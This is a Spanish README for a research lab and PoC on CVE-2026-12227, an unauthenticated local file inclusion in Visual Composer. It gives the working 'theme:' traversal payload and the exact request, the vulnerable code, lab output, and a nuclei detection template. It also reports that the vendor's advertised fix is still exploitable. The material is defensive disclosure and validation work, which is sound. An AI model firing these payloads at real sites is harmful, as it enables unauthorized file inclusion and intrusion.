Laboratorio de validación con Docker y PoC de oráculo seguro para CVE-2026-12227, un LFI no autenticado en Visual Composer a través de vcv-template, con una plantilla de detección de nuclei.
Material de investigación de seguridad para reproducir y validar CVE-2026-12227: una inclusión local de archivos no autenticada en la resolución de plantillas de página del Visual Composer Website Builder (CVSS 3.1 9.8), además de una discrepancia verificada en el parche del proveedor (ver más abajo).
locate_template(), proveniente del parche de CVE-2026-87902) - el código del plugin
en sí nunca fue parcheado hasta la 45.16.3AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) - CWE-98Úsalo solo en sistemas que poseas o para los que tengas autorización explícita de probar. El PoC lanza inclusiones de oráculo inofensivas (salida estándar de
wp-links-opml.php/xmlrpc.php). Sin colocación de archivos, sin escrituras, sin payloads de RCE.
Estado: demostrado en el laboratorio proporcionado.
WP 7.1.1 + VC 45.16.1 : POST /?vcv-template-type=vc-custom-layout&
vcv-template=theme:.theme:./.theme:./.theme:./wp-links-opml.php
-> 200, body contains <opml version="1.0"> (docroot PHP included + executed)
WP 7.1.1 + VC 45.16.3 : same request -> same oracle output
(the vendor "fixed" release is still exploitable)
WP 7.1.2 + VC 45.16.1 : silent (masked by the core gate, not by a plugin fix)
La prueba a nivel de marcador (un archivo PHP plantado en uploads/ incluido y ejecutado,
mediante GET no autenticado) forma parte de la evidencia del laboratorio y se reproduce con
./lab verify en la variante vulnerable.
visualcomposer/Modules/Editors/Settings/PageTemplatesController.php::viewPageTemplate()
engancha template_include en la prioridad 11 sin comprobación de autenticación:
// line 140: validation on the RAW request value
if (empty($current) || validate_file($current['value']) !== 0) {
return $originalTemplate;
}
// lines 146-149: mutation AFTER the gate
if ($current['type'] === 'vc-custom-layout' && strpos($current['value'], 'theme:') !== false) {
$current['value'] = str_replace('theme:', '', $current['value']);
}
// line 152: the sink
$result = locate_template($current['value']);
validate_file() rechaza el .. literal. Pero el valor se fusiona solo después
de la comprobación, por lo que dividir cada recorrido a través de un límite theme: lo supera:
raw: theme:.theme:./.theme:./.theme:./wp-links-opml.php (no literal '..')
validate: PASS (validate_file sees no '..' substring)
strip: str_replace('theme:', '', ...) removes every 'theme:' occurrence,
fusing the fragments: '.' + '../' per boundary
result: ../../../wp-links-opml.php (pure traversal, resolved by the sink)
Request::input() (Helpers/Request.php:76) devuelve
$_POST/$_GET/$_REQUEST sin procesar, por lo que nada aguas arriba lo limpia tampoco.
locate_template() resuelve el candidato con file_exists(), que respeta
los segmentos ...
WordPress 7.1.2 (el parche de CVE-2026-87902) añadió
_wp_is_template_path_allowed() dentro de locate_template()
(wp-includes/template.php). Esa barrera del núcleo rechaza el candidato de recorrido
fusionado, por lo que en WP 7.1.2+ esta cadena de plugin está enmascarada por el núcleo - el
plugin nunca fue parcheado. Atribución verificada en laboratorio: en 7.1.2 el sink
sigue ejecutándose pero queda confinado al directorio del tema; en 7.1.1 escapa.
Consecuencia práctica: un sitio que ejecuta Visual Composer 45.16.3 (la versión actual, anunciada como corregida) sobre WordPress <= 7.1.1 sigue siendo vulnerable a LFI no autenticado hoy. Solo la actualización del núcleo de WordPress lo neutraliza.
Requisitos: Docker con Compose v2, Python 3.10+ en el host.
./lab verify
Ejecuta tres controles: vulnerable (WP 7.1.1 + VC 45.16.1, el oráculo debe dispararse), parcheado (WP 7.1.2 + VC 45.16.1, el oráculo debe permanecer silencioso), última versión (WP 7.1.1 + VC 45.16.3, el oráculo debe dispararse - la demostración de la discrepancia del parche).
Control vulnerable:
[!!!] LFI CONFIRMED (safe oracle: wp-links-opml.php)
request : POST http://127.0.0.1:9488/?vcv-template-type=vc-custom-layout&vcv-template=theme:.theme:./.theme:./.theme:./wp-links-opml.php
evidence: <opml version="1.0">
RESULT: VULNERABLE CONTROL CONFIRMED
Control parcheado:
[=] oracle silent after N requests: WP 7.1.2+ core gate masking, ...
RESULT: PATCHED CONTROL CONFIRMED (masked by WP 7.1.2 core gate)
./lab start vulnerable # WP 7.1.1 + VC 45.16.1 on 127.0.0.1:9488
./lab test
./lab start patched # WP 7.1.2 + VC 45.16.1
./lab test
./lab start latest # WP 7.1.1 + VC 45.16.3 (still fires)
./lab test
./lab reset
Ejecuta el PoC a mano (loopback por defecto; los objetivos externos autorizados necesitan la anulación explícita):
python3 poc/poc_cve_2026_12227.py --url http://127.0.0.1:9488
python3 poc/poc_cve_2026_12227.py --url https://target.example \
--allow-authorized-non-loopback [--insecure]
La plantilla de nuclei (nuclei/cve-2026-12227.yaml) lanza los mismos payloads de oráculo
en los anclajes homepage + page_id a profundidades 3-6 con
stop-at-first-match.
| Combinación | Resultado |
|---|---|
| WP 7.1.1 + VC 45.16.1 (= código 45.16.0) | LFI reproducido (oráculo + ejecución de marcador plantado) |
| WP 7.1.1 + VC 45.16.3 (versión actual) | El LFI sigue disparándose |
| WP 7.1.2 + VC 45.16.1 | Silencioso (enmascarado por la barrera del núcleo) |
| VC 45.16.2 | diff del parche revisado; ruta vulnerable sin cambios (no ejecutado por separado) |
.
├── .github/workflows/validate.yml
├── .gitignore
├── LICENSE
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── nuclei/
│ └── cve-2026-12227.yaml
└── poc/
└── poc_cve_2026_12227.py
No incluido en el repositorio: assets/ (zips de plugins), .lab-state, __pycache__/.
| Afirmación | Estado |
|---|---|
| LFI no autenticado con ejecución de PHP fuera del directorio del tema | Demostrado (oráculo + marcador plantado) |
| Parche del proveedor ausente hasta la 45.16.3 | Demostrado (diff de código + disparo en vivo en 45.16.3) |
| Enmascaramiento del núcleo de WP 7.1.2 | Demostrado (misma petición silenciosa en 7.1.2, se dispara en 7.1.1) |
| Semántica de profundidad | 3 subidas hasta el docroot desde themes//; el barrido cubre 3-6 |
| RCE mediante cadenas pearcmd/write en objetivos reales | No ejecutado (PoC solo con oráculo seguro) |
| 45.16.0 (versión afectada original) | Idéntica en código a 45.16.1; su zip de wp.org carece de vendor/ y no puede instalarse |
Los avisos indican que el parche llega en la 45.16.1, pero la ruta de código
vulnerable no cambia en ninguna versión hasta la 45.16.3 (verificado mediante diffs de árbol
y disparo en vivo). Si mantienes Visual Composer: viewPageTemplate() necesita
revalidar (o rechazar) el valor después de la eliminación de theme:, no antes.
Los sitios no deberían confiar en las actualizaciones del plugin para este caso - la
actualización del núcleo de WordPress 7.1.2 es lo que realmente lo cierra.
Ejecuta este repositorio solo en sistemas que poseas o para los que tengas autorización explícita de
probar. El controlador del laboratorio rechaza variantes desconocidas, el PoC rechaza objetivos
que no sean loopback a menos que se proporcione --allow-authorized-non-loopback, y el puerto de Compose
está vinculado a 127.0.0.1.
Consulta SECURITY.md para el manejo de la divulgación. Este repositorio no incluye objetivos de producción, datos de clientes, tokens de acceso ni evidencia de sistemas reales.
MIT - consulta LICENSE.